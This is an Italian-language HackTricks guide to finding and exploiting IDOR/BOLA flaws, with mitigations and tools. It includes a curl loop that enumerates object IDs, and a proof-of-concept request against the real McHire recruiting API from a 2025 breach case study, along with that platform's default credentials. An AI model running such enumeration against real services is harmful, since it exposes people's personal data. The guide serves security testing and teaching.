4.6 KiB
IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API rivela o accetta un identificatore controllabile dall'utente che viene utilizzato direttamente per accedere a un oggetto interno senza verificare che il chiamante sia autorizzato ad accedere/modificare quell'oggetto.
Lo sfruttamento riuscito consente normalmente l'escalation dei privilegi orizzontale o verticale, come la lettura o la modifica dei dati di altri utenti e, nel peggiore dei casi, il completo takeover dell'account o l'exfiltrazione di massa dei dati.
1. Identificazione dei potenziali IDOR
- Cerca parametri che fanno riferimento a un oggetto:
- Path:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- Query:
?id=42
,?invoice=2024-00001
- Body / JSON:
{"user_id": 321, "order_id": 987}
- Headers / Cookies:
X-Client-ID: 4711
- Preferisci gli endpoint che leggono o aggiornano i dati (
GET
,PUT
,PATCH
,DELETE
). - Nota quando gli identificatori sono sequenziali o prevedibili – se il tuo ID è
64185742
, allora64185741
probabilmente esiste. - Esplora flussi nascosti o alternativi (ad es. "Paradox team members" link nelle pagine di login) che potrebbero esporre API aggiuntive.
- Usa una sessione autenticata a basso privilegio e cambia solo l'ID mantenendo lo stesso token/cookie. L'assenza di un errore di autorizzazione è solitamente un segno di IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Enumerazione automatizzata (Burp Intruder / ciclo curl)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
2. Studio di Caso Reale – Piattaforma Chatbot McHire (2025)
Durante una valutazione del portale di reclutamento McHire alimentato da Paradox.ai, è stato scoperto il seguente IDOR:
- Endpoint:
PUT /api/lead/cem-xhr
- Autorizzazione: cookie di sessione utente per qualsiasi account di test ristorante
- Parametro del corpo:
{"lead_id": N}
– identificatore numerico sequenziale di 8 cifre
Riducendo lead_id
, il tester ha recuperato PII completa di candidati arbitrari (nome, e-mail, telefono, indirizzo, preferenze di turno) più un JWT del consumatore che consentiva il furto di sessione. L'enumerazione dell'intervallo 1 – 64,185,742
ha esposto circa 64 milioni di record.
Richiesta di Proof-of-Concept:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456
) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. Impatto di IDOR / BOLA
- Escalation orizzontale – leggere/aggiornare/eliminare i dati di altri utenti.
- Escalation verticale – un utente a basso privilegio ottiene funzionalità riservate agli admin.
- Violazione di massa dei dati se gli identificatori sono sequenziali (es. ID dei candidati, fatture).
- Presa di controllo dell'account rubando token o reimpostando le password di altri utenti.
4. Mitigazioni e Migliori Pratiche
- Imporre l'autorizzazione a livello di oggetto su ogni richiesta (
user_id == session.user
). - Preferire identificatori indiretti e non indovinabili (UUIDv4, ULID) invece di ID auto-incrementali.
- Eseguire l'autorizzazione lato server, non fare mai affidamento su campi di modulo nascosti o controlli UI.
- Implementare controlli RBAC / ABAC in un middleware centrale.
- Aggiungere limitazione della velocità e logging per rilevare l'enumerazione degli ID.
- Testare la sicurezza di ogni nuovo endpoint (unità, integrazione e DAST).
5. Strumenti
- Estensioni di BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Progetti Github:
bwapp-idor-scanner
,Blindy
(caccia IDOR in massa).
Riferimenti
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li {{#include ../banners/hacktricks-training.md}}